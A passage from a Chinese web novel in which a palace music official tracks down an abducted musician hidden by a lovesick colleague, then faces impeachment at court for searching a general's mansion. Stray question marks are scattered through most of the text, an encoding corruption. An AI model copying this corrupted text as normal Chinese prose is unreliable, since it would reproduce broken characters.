缇骑是不论死活的,领了?命只?管向着目标进发。将军府虽然也有护院,但缇骑是皇帝亲军,没有人敢阻拦。他们查找了?府中每一间屋子,连路过的狗都不免挨一脚。 左翊卫将军无法呵止他们的恶行,铁青着脸出?来见?苏月。苏月是第一次与他会?面?,难怪副尉说他是毛脸贼,他的下半张脸,几?乎被青色的胡髭覆盖了?。到她?面?前怒气冲冲大骂:“你是个什么东西,竟敢带人来搜查我?的府邸!老子横扫襄阳,迎接陛下大军的时候,你还在姑苏染指甲呢。如今靠着陛下宠爱,犯到老子头上来,真当老子好欺负吗?” 苏月从车舆内走了?出?来,冷声道:“将军,你是谁的老子?梨园中有乐工无故失踪,原本就在满城搜寻。将军和那个失踪的乐工曾有渊源,我?若上报大都府,一样是要?传将军问话的。我?顾及将军颜面?暗中查办,你却不领情,要?是早知将军如此不识好歹,我?就不费这番苦心了?。” 左翊卫将军被她?说得发懵,但很快便回过神来,“你不必唬我?,这上都的官宦门户,哪一家设宴没有传过梨园乐工?这叫什么有渊源!仅凭这个就带人来我?家搜查,请问别家也是如此吗?” 苏月道:“别家并不如此,我?只?搜将军府。” 左翊卫将军顿时暴跳如雷,“姓辜的,你可别欺人太甚。人家怕你,巴结你,老子却从未将你放在眼?里。” 苏月并不怵他,犀利的眼?风如刀,恨不能将他凌迟了?,“走失的乐工姓朱,姑苏人。四个月前将军曾下帖邀她?一人来府上弹奏,太乐署乐工青崖怕她?只?身前往多有不便,自己顶替她?赴约,夜半子时才回梨园。官员府邸传召乐工是寻常,但发生了?什么,也是有迹可循的,还不够资格劳烦将军吗?我?若是你,反倒应该大开方便之门,迎接缇骑随意搜查。若搜出?人,认罪伏法,若搜不出?人,正好自证清白。而不是像你这样口出?狂言,张口闭口要?做我?的老子。” 这下左翊卫将军无话可说了?,毕竟他对青崖所做的一切,翻起旧账来也不简单。事情闹得太大,对自己定无半点好处。 于是便立在一旁,冷着脸任凭缇骑前院后院翻找了?一遍,可惜缇骑搜查半天一无所获,空着两手出?来了?。 副尉向苏月复命,“回大娘子,都找遍了?,不曾找到。” 苏月再次失望了?,颜在就像一滴水,彻底从这世上消失了?。她?再也想不到该去哪里找她?,接下来好像除了?大海捞针,真的再没有别的办法了?。 左翊卫将军脸上露出?嘲讽的笑,“可要?搜仔细了?,别有遗漏之处。” 苏月转过视线一扫他,“若有遗漏,下次再来。”然后在他愤恨的注视下重又登上了?马车。 回去的途中才想起来,自己忙了?这几?日,倒忘了?去问问青崖那头有没有什么消息,便让赶车的把她?送到了?乐府。 再见?青崖,他大病初愈,气息还有些弱,一见?到她?就连咳带喘地追问消息。 苏月告诉他一无所获,他像被抽掉了?魂魄似的,垂着袖子喃喃自语,“能去哪里……能去哪里呢……她?与人无仇无怨,应当不会?有人存心和她?过不去的。都怪我?,生什么病!若不是为了?来看我?,她?也不会?丢了?。” 苏月叹了?口气,“你不要?因此自责,这不是你的错。” 青崖眼?中隐隐有泪光,惨然对她?说:“阿姐,我?心悦她?,你是知道的。” 苏月微怔了?下,沉默着点点头。 “会?不会?……回姑苏了??”青崖犹豫地说,“找遍大街小巷都找不到她?,也许她?已经?离开上都了?。” 苏月却觉得没有这种可能,“颜在不是冒失的人,乐工出?逃,会?罪及全家的。她?家里还有母亲和阿兄,为了?家人,绝不会?做这种事。” 青崖背靠着抱柱,低下头,眼?泪顺着鼻尖滴落,“真的一点办法都没有了?么,找不回来了?么……” 苏月也不知该怎么安慰他,只?能让他稍安勿躁,说再想想办法。 回去的路上,心里堵得很,也不想乘车了?,打算自己一个人走上一程。 从乐府到梨园,中间隔着一个北市,她?顺着街道慢慢前行,试图从颜在经?过的路径,找出?她?失踪的原因。 四下张望的时候,忽然发现一个熟悉的侧影,仍旧一副爽朗的模样,正笑着和人说话,是许久不见?的春潮。恰巧转身,恰巧也看见?她?,“咦”了?声笑道:“这是谁?不是我?们的梨园使大人吗!” 久别的老熟人再聚首,快乐可以短暂冲淡心头的阴霾。春潮热络地请她?去自己的店铺里坐坐,一进门就忙着招呼伙计,泡上好的香茶来。 两个人在窗前的茶案前坐定,苏月打量了?一圈,店里摆着各色染料和布匹,还有没有织成的纻麻,看来她?果真照着自己的计划,一步步走得很稳当。 春潮大手一挥,“你看,我?想开的铺子开起来了?,后面?染房所用的人手,好几?个都是早前从梨园病退的。”一面?又笑着打趣,“不过咱们姐妹中,还数你顶有出?息。士别三日当刮目相?看,这一错眼?,梨园这盘棋都被你下活了?。” 说罢又来打听,问园里的故人好不好,颜在好不好。提起颜在,苏月就揪心,把前后经?过都同她?说了?一遍,撑住脸道:“只?差一寸寸翻找了?,不知她?到底在哪里,现在安不安全。” 春潮听她?细说,半晌都没有开口,听到最后方迟迟看了?她?一眼?,“到处都找过了?,该怀疑的人也盘查了?,但是还有一人,你有没有想过仔细摸排他的行踪?” 苏月迷茫了?,“你说的是谁?” 春潮说:“青崖。” 第60章 第 60 章 “青崖?”苏月觉得不可思议, “他哪有什么可疑之处,我从来没有怀疑过他。” 春潮低头给她添上一杯茶,边斟边道:“最?不可疑的人, 恰恰是最?值得怀疑的。你想, 颜在那样乖顺的小女郎, 从来不与人结仇怨,梨园到乐府通共不过两炷香时?间, 什么人能掐着这段时?间掳走?她?从筹谋到实行,再到藏匿, 是临时?起意能办成的吗?” 话虽有道理, 但苏月实在想不明白?,为什么青崖要?把颜在藏起来。 “青崖是个可怜人,他一心对颜在, 所做的一切我都看在眼里。” 可春潮却有她的见解, “越是可怜, 才越急于得到他想得到的关爱。他不是喜欢颜在吗,颜在可喜欢他?” 苏月摇了摇头, “颜在拿他当阿弟看待,” 春潮说:“这不就结了。他爱慕颜在,颜在却不喜欢他, 对他这样自小没入梨园, 尝够了人间疾苦的人来说, 是灭顶之灾。他的身世很苦,你们应当听说过吧?” 苏月说是,“据说前朝时?期灭族了, 只剩他和两位阿姐,那两位阿姐也先后过世了。” 春潮脸上浮起一片怅惘, “什么都没有了,一个人独自活在世上,苦难的遭遇人尽皆知,喜欢的人又不喜欢自己……他没有疯,已?经算坚强的了。” 苏月终于渐渐相信了,“他想独占颜在?” 春潮“嗯”了声,“大抵就是如此吧。因为感情得不到回报,再加上羞愧自卑,干脆一不做二不休,把人藏起来。说不定藏得够久,颜在就会喜欢上他,他所求的,不就是颜在心里有他吗。” 苏月听她分析完,才忽然意识到,自己果真遗漏了不少细节。 青崖不是很喜欢颜在吗,按常理就算拖着病体也会赶到梨园来,可是并没有。这么长时?间,只派虾儿来问过两回,剩下的时?间一直在乐府等消息。颜在失踪,生死未卜,他竟能这样沉着,还是那个冒名顶替,代?颜在赴约的人吗? 苏月不由叹了口?气,“我太相信他了,从没想过他会掳走?颜在。” 春潮说话向来一针见血,淡淡一哂道:“前朝活下来的老乐工,有几个不是千疮百孔?吃了太多的苦,这里……”她拿手指点了点自己的脑袋,“多少有点异于常人,我以为你知道。” 苏月方才承认自己想得太简单了,甚至大都府询问,哪些人平时?与颜在有往来,哪些人有可疑,她居然都下意识忽略了青崖。 撑身站起来,她无奈地说:“真没想到,接下来该查的是青崖。今日多谢阿姐给我指点迷津,我先回去?了,颜在一日不见,我一日寝食难安,一定要?找到她。” 春潮说好,送她到门?外,左右看了一圈,“你是一个人走?来的吗?我让人套车送你回去?吧。” 苏月摆了下手,“这两日头昏脑胀的,想独自走?走?。这里离圆璧城不远,我自己回去?就行了。” 春潮便再三叮嘱她路上小心,颜在一丢,仿佛大白?天路上也不安全了。 苏月冲她回了回袖子,自己顺着街道返回梨园。一路上思前想后,越想越觉得可疑,因此一到龙光门?上就寻来了副尉,“替我派人守在乐府之外,盯紧乐府监,看看他是否独自离开?协律坊,去?了哪里。” 副尉立刻聪明地领悟了,“监守自盗!”然后挑了两个机灵的,立时?把人派了出去?。 苏月这几日真的累坏了,梨园的事也顾不上,一心都在找颜在。对于春潮的猜测,她心里可说是五味杂陈,既希望是青崖带走?了颜在,又希望不是他。如果颜在在他身边,至少性?命无虞,但自己也着实被他狠狠愚弄了一番,以前所有的同情和好感,也都扔进沟渠里了。 缇骑盯人需要?时?间,她强迫自己冷静下来,照常处理园内事物。接下来两日,派出去?的人回来禀报,说青崖并无异动,颜在也是照常没有半点消息。 她仔细思量了下,打算再试一次,若青崖是无辜的,自己也就不会再怀疑他了。 于是她又去?了乐府一趟,青崖还是照常焦急地追问有没有进展,她悲伤地摇摇头,告诉他:“这段时?间大都府和缇骑花费了太多精力,城外的驻军把方圆五十里搜遍了,还是没有发现颜在的踪迹。投入的人力太多,看不见希望,朝廷决定停止搜寻了。” 青崖怔愣了下,“为什么?因为乐人微贱,不值得吗?”说完苦笑了下,“朝廷不找了,我自己找,就算找到天边,我也一定要找到她。” 苏月看着他的脸,试图从他的眼梢眉间甄别出哪怕一丝的破绽,然而?并没有。他依旧单纯热血,她开?始犹豫,也许春潮的判断是错的。青崖仍旧是那个表里如一的少年,自己对他的怀疑,似乎可以到此为止了。 然而?犹豫归犹豫,副尉派出去?的人并未马上撤回来。结果第?三日擦黑的当口?忽然有了动静,缇骑回禀说青崖独自一人离开?了乐府,往东城白?羊道去?了。 “卑职跟到一处小院,亲眼看他进去?的,可等了许久也没见他出来,便翻墙进去?查看,发现屋里点着灯,却连一个人影也没有,人平白?无故地不见了。” 副尉不信,“他又不是精怪,会隐身术,难道还能飞了不成!一定还在宅子里,你看真周了吗,确定他没有离开??” 缇骑说看得真真的,“卑职这双眼睛,是百步穿杨的眼睛,您还信不过我?” 副尉扭头望向苏月,笃定道:“大娘子,缇骑训练有素,绝不会看错的。他们说在,人就一定还在。” 苏月问:“有人继续蹲守吗?” 缇骑说有,“卑职一人先回来禀报,另一人等不到我折返,断不会离开?的。” 苏月遂对副尉道:“劳烦带我去?一趟。若是运气好,说不定人就困在那个小院里。” 副尉应了声是,很快点了一队人马赶往那个院落,先派人把外面把守起来,余下几人进去?查探。结果就如报信的所说,这处小院里连个鬼影都没有,只有一根燃烧过半的蜡烛,从一边缺口?处源源滚下烛泪,把烛台中间的小碗都积满了。 缇骑毕竟不是一般的衙役,发现不寻常,自然要?四下搜寻。放轻手脚查看每一处,桌下柜中,甚至是神龛之后都找遍了,可惜还是一无所获。 正当大家一筹莫展的时?候,卧房里忽然传来了消息,赶到那里一看,床后的隔板已?经被卸了下来,打起的帐幔后出现一个密道,里头有台阶,能供单人通过。 副尉忙上前打探,把脑袋伸进去?细听。密道里隐约有回声传来,虽听不真切说了什么,但可以确认,底下肯定有人。 苏月心里着急,提裙要?下去?,被副尉拦住了。副尉拍拍胸口?表示由他开?路,苏月便跟在他身后进了密道。 进来之后,才发现别有洞天,这地方很有些年头了,并不是草草挖出来的。整条通道由木料支撑填塞,板正洁净,连土星子都不见一粒,可知当年耗费了不少心思和钱财营建,如果没猜错,肯定是嬴家的旧业。 远处的哭声起先含含糊糊难以分辩,走?得越近才终于听明白?,确实是颜在。她哀求着:“青崖,青崖你说话呀……你放我回去?吧,我回去?之后绝不说是你扣下我的,就当这事没有发生过,行吗?” 青崖沉默了很久,沉默得颜在几乎绝望了,方才慢慢开?口?,“我说过了,不会让你回去?的。梨园走?失一个乐人,并不是什么了不起的大事,苏月阿姐就算再牵挂你,找寻的时?候久了,朝廷见没有进展,已?经结案收兵了。你且在这里等上一阵子,等风头过了,我带你回姑苏去?。你不是想家人,想见你阿娘和阿兄吗,不用再等五年了,脚程快的话,一个月就能到家,这样好不好?” 已?然到了门?外的苏月和副使?交换了下眼色,副使?卯起来就要?冲进去?,被苏月拦阻了。 其实她想听一听颜在的想法?,如果颜在被他说动了,真想回姑苏去?,那么她也愿意网开?一面。但青崖的做法?着实令人愤怒,一意孤行把人掳走?,难道就是他所谓的爱慕吗? 还好颜在是清醒的,她说不,“我就算再想回家,也绝不做临阵脱逃的懦夫。五年就五年,我等得,我要?堂堂正正回家见亲人,不要?像过街的老鼠一样东躲西藏。你以为你在帮我,其实是在害我。青崖,你不是答应我,要?在乐府做出一番事业的吗,为什么忽然变成了现在这样?” 这番话令青崖烦躁不已?,“我依着你的吩咐去?做了,乐府送到梨园的曲目,有半数是我谱的曲,可那又怎么样!我心不在焉,我感觉不到悲喜,我每日都忧心忡忡,不知什么时?候你会喜欢上别人,被别的官员接出梨园,去?做别人的夫人!” “所以你就装病骗我?”颜在呜呜咽咽地哭,“亏我那么担心你,听说你病了,一刻都不敢耽搁,急忙去?看你。” 青崖大概已?经魔怔了,他有他自己的道理,执拗地说:“得知我病了,你就赶来看我,难道还不足以证明心里有我吗?颜在,求你相信我,我可以好好照顾你,绝不让你受委屈。我们找个山清水秀的地方开?铺子做生意,我这些年攒了些钱,用来做本金足够了。或是我们开?个乐学,教那些民间的孩子奏乐谱曲,给梨园培养乐师根苗,这样行不行?” 他的愿景只是和她在一起,不管做什么都把她安排在其中,一向温顺恬静的颜在终于声嘶力竭地叫喊起来,“我不愿意!我要?回梨园,我一刻都不想在这地方呆下去?了。” 苏月把心放回了肚子里,转头示意副尉破门?而?入。那道木门?经不起狠踹,副尉高大的身形率先挤进密室,压着刀说:“毛还没长全,就学人掳女郎,你爹娘是这么教你的?好小子,这几日把我们耍得团团转,不把你剁成十八块,难解兄弟们心头之恨。”说着一把抓住青崖的衣襟,老鹰拎小鸡一样,把人拖了出去?。 颜在惶惶然站着,从副尉身后发现了苏月,顿时?大哭起来,“你找到我了!我一直在担心,怕你找不见我,就再也不管我了。” 苏月艰难地同她打趣,“哪能呢,必是活要?见人,死要?见尸啊。”一面替她捋了捋头发,轻声问,“青崖没有伤害你吧?他对你动粗了吗?” 颜在摇头说没有,“起先我被带到这里来,并不知道是谁指使?的,每日有人给我送吃的,送完了就走?,什么都打探不出来。直到今日他现身,我才知道竟是被他劫持了。现在我该怎么办呢,早前他明明对我有恩的,我总在发愁如何回报他,结果佛也是他,魔也是他。你要?是来得晚些,只怕后果不堪设想。” 颜在惊惶不已?,苏月只得尽力安慰她,“虚惊一场,幸亏春潮出主?意,让我留意青崖,否则只怕我永远不会怀疑他。就连他日后说要?离开?上都,也会以为他是心灰意冷,愈发同情他。” 所以原本好端端的,怎么就变得如此不堪了呢。这种扭曲的情感,难道就是佛经中说的由爱生怖吗。 无论?如何,人能找到就好。苏月牵着颜在的手,顺着狭窄的密道返回地面上,外面院子里已?经燃起了许多火把。缇骑因连日搜查无果,很不痛快,终于逮住了罪魁祸首,简直要?将青崖生吞活剥了。 青崖白?着脸,神色却不卑不亢。在他看来自己是为着心里的信仰,唯一后悔的,只是伤了颜在的心,惹她哭了。 还有苏月,他在面对她时?羞愧万分,低头道:“阿姐,我辜负了你的栽培,让你失望了。你骂我吧,打我吧,一切都是我该受的。” 苏月看着这张年轻的脸,既觉得他可恨,又觉得他可怜。 “你不该愚弄我,让朝廷派出那么多人到处搜寻,生生耗费了六天时?间。我的失望是其次,你想过颜在的感受吗?你以为把她藏起来,她就是你的了,到最?后闹成这样,你打算如何收场?” 青崖翕动了下嘴唇,目光楚楚望向颜在,“我知道你现在很恨我,其实恨我也好,这样就不会忘记我了。颜在,我没有坏心思,我只想和你在一起。我听说近来常有达官显贵点你献演,尤其随侯府上,三日一请,五日一邀……我越想越害怕,继续坐以待毙,你就真的变成别人的了。” 颜在知道他误会了,无奈道:“人家府上有喜事啊,接连有人做寿,为远客接风,且受邀的也不止我一个,怎么就认定人家瞧上我了?” 青崖找不到话来辩解,因为无论?说什么都不合理。心里更明白?,一切都是他没有根据的揣测,但他就是担心,辗转反侧无法?纾解。 也许颜在是他的解药,只有她能把他从痛苦里拯救出来,他这样想着,便这样去?做了。结果好像又错了,反而?把人越推越远。如果苏月没有找到他们,或者他还有一丝希望,可惜终究是找到了,颜在有了退路,再不可能喜欢上他了,只会愈发地厌恶他。 副尉瞅瞅这少年的脸,男生女相真讨厌,便对苏月道:“别同他啰嗦了,这小子现在装可怜,就是想博女郎们的同情。照我说直接送到大都府去?,发配到行宫田庄上抡锄头,他定是病也好了,心思也纯净了,再不想着男男女女那些事了。” 这话倒是提醒了苏月,这件事若当真宣扬起来,青崖就彻底毁了。他是有错,但他也很苦,这种卤水里浸泡过的人生,延捱到当下已?经需要?莫大的勇气,叫人怎么忍心,让他的后半生更加不见天日。 但究竟追不追究,还得看颜在的意思,毕竟受害者是她。今晚上没有惊官动府,来的都是龙光门?上的缇骑,想悄悄掩过去?也不是难事。 苏月没有说话,只是看着颜在,等她一个表示。颜在虽然怨怪青崖,但心里并不真的恨他。便小声对苏月道:“这件事不要?让外人知道,行吗?青崖年纪还小,不能因一时?糊涂,糟蹋了一生。” 苏月转头打量青崖,他听了颜在的话,浑身颤抖着恸哭起来,“我不要?你可怜我!你到底什么时?候才能把我当成男人看待,就连我做错了事,你也觉得我没有伏法?的资格。” 副尉听不过去?了,瞪眼说:“不识好歹的东西,要?不是大娘子在,我早就揍你这娘娘腔了。我问你,那个赶车的仆妇呢,是不是被你杀了?” 青崖缓了很久,情绪渐渐平稳下来后才道:“我许了她些钱财,让她离开?上都了。” 苏月松了口?气,转头提醒颜在:“你刚才的话,可是经过了深思熟虑的?若这次轻饶了他,未见得没有下次。你不怕他不死心,故技重施吗?” 颜在从最?先的悲伤惶恐里挣脱出来,已?经可以冷静地正视这件事了,语调坚定地说:“我想好了,如果再有下次,不要?惊动任何人,就当我逃了,把我从乐官名册上划去?吧。” 话说到这样程度,就不用再议了,苏月转身对副尉道:“今晚的事,请副尉不要?对外宣扬。就算我徇私吧,他年纪还小,一时?冲动做错了事,若是交给大都府,不单身上的官职要?罢免,人也会下大狱,我实在于心不忍。” 副尉早把自己这队人马看成了未来皇后的禁卫,只要?大娘子发个话,没有不遵从的。 于是一使?眼色,命左右看押青崖的人撤开?,又发了话,“回去?之后都不许乱说,今晚的事烂在肚子里,听见没有?”众人领了命,他方对苏月拱拱手,“娘子们可要?和他道个别?卑职等在外等候。” 人都撤出去?了,苏月也让到了一旁,容颜在和他说话。 颜在说:“我被关的这几日,惊动了那么多人找我,你这回的祸着实是闯大了。苏月愿意放你一马,终究是看 着我们往日的交情,即便到现在,我们也相信你本性?纯良,没有歹心。但今日过后,我怕是不能再像往日一样对你了,今后请你多加珍重,回到乐府之后潜心谱曲,多创出些上佳的曲目,流传后世吧。” 她说完转身走?了,青崖脸上透出一种濒死般的绝望,颤动着嘴唇想唤她,却发现自己怎么也出不了声了。 回去?的路上,苏月小心翼翼察言观色,颜在像一汪沉淀的死水,没有半丝波澜。大约是察觉了苏月的担忧,勉强笑了笑,“我不要?紧,好好的呢,你不用担心。” 苏月方才颔首,“回去?后就说被那个仆妇劫持了,关在城外废弃的茅屋里,缇骑来得及时?,才没有被倒卖。若不这样说,恐怕坏了你的名节,将来就不好自处了。” 颜在听后牵住她的手,愧怍道:“我总让你担心,自己从未为你做过什么,反倒一次又一次麻烦你。” 苏月在她手上拍了拍,“咱们是一起从姑苏来的,我也要?让你全须全尾地回姑苏去?。这次的事,不要?放在心上,就当还了他曾经解你危难的情吧。” 颜在没有说话,其实她知道,那份恩情是无论?如何都还不清的。对青崖的厌恨也慢慢化为了一缕惆怅,人越冷静,越是感到无边的凄凉。 好在有惊无险,苏月庆幸一切都过去?了,却没想到后面有更大的麻烦在等着自己。 第?二日一早,洗漱过后赶往大乐堂,刚到门?上就迎来两个公服上绣蟒纹的缇骑。 他们大步走?到她面前,面无表情地传令:“乾阳殿中早朝,陛下宣召梨园使?入朝应讯。请娘子暂缓手上公务,跟卑职等走?一趟。” 60-70 第61章 第 61 章 乾阳殿她去过好几次, 上回万里来?传话,是因为?陈御史等人弹劾她。当时虽算公?事公?办,但在场的?只有皇帝和御史台官员, 阵仗还不算太大?。这次却不一样, 正上着朝, 满朝文武都在场,宣她过去必定?是遇见了更大?的?弹劾, 皇帝骑虎难下,不得不当朝给出交代。 所为?何事, 她心里是明白的?, 十有八九因为?颜在失踪那件事。至于究竟是哪方面出了岔子?,无外乎动用了朝廷的?人手、搜查了左翊卫将军府邸,最后人找回来?了, 没有给出一个明晰的?来?龙去脉, 朝堂上的?官员们心中不快, 要督促皇帝,对她严加约束。 轻舒了口气, 她把手里的?曲谱交给颜在,“我去去就回来?。” 颜在却把曲谱又转交给了一旁的?梅引,对苏月道:“我随你?一起去, 若是要论罪, 由我一力承担。” 苏月失笑?, “你?承担什么?你?是苦主,再大?的?罪过也轮不到你?头上。你?只管督促他们练曲吧,有什么话, 等我回来?再说。” 她脸上一派轻松,安抚她们两句才出门, 但赶往乾阳殿的?这一程,心情很?是沉重。因为?知?道这回不是两人之?间的?小打小闹,也不是发发脾气,掉两滴眼泪就能解决的?了。既然闹上了朝堂,必是难以姑息的?大?事,否则以权大?护短的?脾气,不可?能当众召见她。她也做好了准备迎接风雨,既然是自己做下的?事,不会回避那些王侯将相们的?针对。 举步迈入乾阳门,朝会时的?乾阳殿与平时不同,内外都站着带刀的?缇骑,十步一个,钉子?般矗立在御道左右。 她顺着官员行走的?直道上前,早有万里在殿外等候着。见她来?了,快步上前迎接,压声道:“不管过会儿如何腥风血雨,娘子?只管澄清经过,认错就是了,切记切记。” 苏月犹疑地看了他一眼,知?道这是皇帝的?意思,便点了点头,跟他进了大?殿。 深广的?殿宇两掖,站满了冠服俨然的?文臣武将。梨园献演时,苏月曾见过他们每一个人,然而走上朝堂,暴露在众目睽睽之?下,顿时让她感?受到了另一种?忐忑和慌张。 她看到弹劾她的?人了,这回不是御史台的?言官,是武将。且人数众多,足有七八人,不是站着回禀,而是跪在了御阶前。听见脚步声传来?,回头看她的?眼神充满鄙夷和愤恨,若不是身处朝堂上,恐怕要把她拆吃入腹了。 武将……想必是搜查左翊卫将军的?府邸,引发了众怒。这些人难道是他的?部下吗,都来?为?他叫屈请命?苏月暂且弄不清原委,也不敢造次,便遵着礼节恭恭敬敬上前长?揖,叩谒了坐在龙椅上的?人。 上首的?皇帝蹙着眉,出言询问:“辜大?人,诸位将军弹劾你?没有手令,擅自搜查了左翊卫将军的?府邸。你?为?何这么做?与他有私怨吗?” 苏月说没有,“臣与将军并无私怨,搜查将军府邸也是为?洗清将军嫌疑。梨园中有一乐师外出,遭人掳劫六日未归,臣呈报了大?都府,京城上下四处搜索,但凡有嫌疑的?都要接受盘查,不限于左翊卫将军。” 她的?话,立刻换来?了反驳,“一派胡言!为?何不搜查别家,偏偏只搜将军府?” 苏月平心静气道:“因为?早在朝廷颁布恩恤梨园的?政令前,左翊卫将军曾看上该名乐工,点她独自前往府上奏曲。该乐师不曾赴约,这件事后来?不了了之?,如今乐师失踪,遵着惯例,与其有过交集的?人都有嫌疑,都应该查访。” 可?是她的?解释,不能平息这些武将的?怒火。他们向?上拱手,“臣等归顺朝廷,是因敬仰陛下,坚信陛下不会因亲疏刻意慢待臣等。臣等也曾为?陛下出生入死,可?换来?的?却是无尽的?羞辱,一名女子?竟能公?然践踏降臣的?尊严,臣等若是坐视不理,接下来?还有容身之?地吗?这朝堂上,七成是陛下钦点的?官员,剩下三成沿用旧臣,我等莽夫不值一提,但今日受辱的?是武将,明日就轮到贤德著称的?文官了。难道要等前朝官员尽数受辱,陛下才能为?臣等主持公?道吗?还是此举本就是陛下授意,意在压制降臣,扶植新臣?” 话越说越无礼,平章政事出言喝止,“心中抱屈,大?可?就事论事,胡乱揣测一气,连陛下都牵扯上了,这是要以下犯上吗?” 皇帝并不动怒,只是淡淡看着跪地的武将们,那目光里没有恫吓,却有不易察觉的?阴冷,令人不寒而栗。 吵嚷着鸣不平的那些人终归有些犯怵,气焰略低了几分,但仍是不依不饶,“女子?为?官已是乱了纲常,如今竟带领缇骑搜查官员府邸,实?在令臣等大?为?不解。” 苏月掖手道:“左翊卫将军可?在?他若有不平,我可?以与他当面对峙。” 叫屈的?那些人冷哼了一声,“受此奇耻大?辱,早就一病不起了,还能上朝与娘子?对峙?” 他们从来没有承认她是命官,就连称呼也依旧是“娘子?”,而不是“大?人”。 苏月本想与他们理论的?,但想起万里的?话,还是勉强按捺住了。况且要是细究,难免要把青崖的?遭遇说出来?,也许这是最好的?,堵住悠悠众口的?办法,但要把别人的?痛处撕扯开,暴露在这些没有人性的?权贵面前,她还是觉得于心不忍。 但这场弹劾,着实?是来?势汹汹,起先还只是武将们同仇敌忾,渐渐地,发展成了新朝和旧臣的?矛盾。这些前朝官员早就不满于朝廷对他们的?压制,心里憋着一团火,苦于找不到发泄的?途径。这回发生了这件事,立刻正中下怀,有了充足的?理由来?小题大?做。 苏月才意识到自己真的?做错了,冲动起来?不计后果,又给皇帝带来?了麻烦。她甚至不敢抬眼看他,垂首道:“臣寻人心切,忙中出错,请陛下恕罪。从?今往后自当戒骄戒躁,谨慎行事,陛下若要降罪,臣俯首领罪,甘愿受罚。” 上首的?皇帝有些苦恼,朝堂上有一小半的?臣属是前朝归顺的?,这些人中不乏有建树的?能臣,武将虽然骄奢淫逸,却也着实?有军功。这些人的?去留筛选需要慢慢进行,不能一蹴而就,现在忽然闹得群情激奋,就算是皇帝也感?觉到了棘手。 怎么处罚苏月,罚俸吗?已经使过的?手段,至今她的?官册上还有四个月的?亏空,再累加,御史台势必又要跳出来?说话。但除了罚俸,还有什么是最不伤筋动骨的?? 他想了又想,抚着龙椅的?扶手道:“从?今往后,梨园使不得再调遣缇骑,回梨园禁足一月,面壁思过去吧。” 可?惜这样雷声大?雨点小的?判罚,并不能服众。 那些武将没有站起身,纷纷取下了头上的?乌纱帽,“请陛下罢免辜娘子?梨园使之?职,匡正梨园风气。” 而那些站在一旁的?前朝文官们,此时也都纷纷附和了,“请陛下罢免辜娘子?梨园使之?职,匡正梨园风气。” 皇帝被架在了火上,进退维谷。思忖再三只得稍作妥协,“此事朕还要严查,辜大?人暂且待职,梨园事物交太常寺代掌,过后再行决议。” 等待结果的?武将们仍是不满意,“梨园使指挥缇骑搜查将军府,可?算越权?梨园的?职责是专司礼乐,什么时候变成了办案的?衙门?大?梁律对官员越权的?处罚,写得明明白白,官各有辨,非其官事勿敢为?,若有犯,罢官、杖责、禁锢,缺一不可?。” 皇帝的?脸色变得肃穆起来?,“梨园有乐师失踪,梨园使带领缇骑四处寻访是朕准许的?。如此看来?并非梨园使越权,是朕失当了,朕看诸位大?人不是要梨园使认罪受罚,而是要朕下罪己诏吧。” 此话一出,后果很?严重,满朝文武立刻向?上长?揖,“臣等不敢,臣等死罪。” 可?苏月知?道,再这样拉扯下去,只会令皇帝更为?难。遂上前两步叩拜下去,“臣擅用缇骑,辜负了陛下的?信任,情愿领受杖责。” 皇帝无言地望着她,心里涌起巨大?的?无力感?,谁说皇帝能够翻云覆雨,一手遮天?当这些臣僚合起伙来?向?你?施压,你?得顾全大?局,得以稳固朝纲为?重。 但杖责她,怎么做得到呢。他犹豫良久,无法痛下决心,尚书省的?官员也劝他以大?局为?重,拱着手,殷切地望着他。 被逼到最后,他长?叹了一声,“本月二十八,是朕向?梨园使提亲的?日子?。原本龙光门上的?缇骑,将来?都是小君的?护卫,不想提前调用,竟激发了满朝文武如此大?的?反应,看来?是朕错漏了。既然是朕之?过,那杖责不该是梨园使领受,应当是朕。”他站起身,摘下了通天冠,“官员越权,杖责二十,这二十由朕领受,满朝文武都可?督刑。” 这话终于吓到了朝堂上的?文臣武将,皇帝领笞杖,这是亘古未有的?事,人君受罚,那作为?臣子?岂不是该死了? 借机试图闹一闹,引起朝廷重视的?前朝武将们,这下是真的?傻了眼。水花是扑腾起来?了,也彻底得罪了皇帝陛下,往后只要有半分风吹草动,想获恩赦恐怕是不能够了。 尚书省和御史台的?官员见状,自然要化解朝堂上的?剑拔弩张,急忙调转了话风,“陛下是我大?梁的?天子?,万不该如此。” 皇帝说:“天子?犯错,与庶民同罪,这罚朕甘愿领。不过今日之?事也让朕明白了一个道理,宠爱过甚易引发祸端,朕是个不擅用情的?人,连此一人都管束不好,将来?妃嫔众多,恐怕会引发更大?的?乱子?。” 陛下是懂得反思的?,反思得那些指望他立后之?后,再纳几个宠妃的?三公?九卿们没了指望,这矛盾转眼又转变成了新旧两派的?矛盾。最后只能由太师出面调停,梨园使停职作为?惩处就罢了,棍棒相加累及君王是为?大?不敬,满朝文武也无人敢督刑,请陛下收回成命。 皇帝垂下手,指尖抚触过通天冠上的?二十四梁,沉声道:“果然不罚了吗?朕欲领罪,可?不是闹着玩的?,是实?心实?意知?错了,请诸位臣工督促。” 太傅忙道:“陛下切莫折煞臣等,错在梨园使,受罚的?却是陛下,本就于理不合。臣仗着年纪大?,要说上一句公?道话,梨园使固然有错,但多次在陛下面前谏言,轻徭役、废酷刑、安养百姓,如今这笞杖却要打到她身上,着实?有些讽刺了。依臣之?见,暂且将功抵过了吧,若再犯,严惩不贷,诸位可?有异议?” 那些咄咄逼人的?武将们不再吭声了,于是最后的?定?夺,是暂免了苏月的?梨园使之?职,禁足在梨园官舍不得外出。今日的?朝堂上,似乎对她的?惩处才是最大?的?议题,议完了就该散朝了,文武大?臣依序都退出了乾阳殿。 苏月还在那里跪着,木登登地,也闹不清自己在想些什么。直到皇帝上来?搀扶她,她才踉跄着站起来?,心里委屈,却又不知?该如何辩解,只是看他一眼,眼泪就滚滚落了下来?。 皇帝叹息不止,“又没打你?,你?哭个什么呢。梨园使当不成了,还能当朕的?皇后,官儿不是更大?吗,还不够你?得意的??” 越说她越是啜泣,“我就想当梨园使,我想做出些名堂来?。这乾阳殿和我有仇,每回来?,都没什么好事,上回挨骂,这回又是挨骂……我以后都不想来?了,不过……可?能也来?不了了。” 她悲悲戚戚,没有放声大?哭,但就是这样隐忍的?委屈,更让他觉得心疼。 “好了。”他胡乱替她抹了两把脸,“这阵子?不是很?忙吗,正好休息两日,等风头过了,朕让你?官复原职。” 可?这样的?官复原职不得那些官员的?认可?,就真的?彻底沦为?她和他之?间的?游戏了,就算继续执掌梨园,恐怕也不能服众。 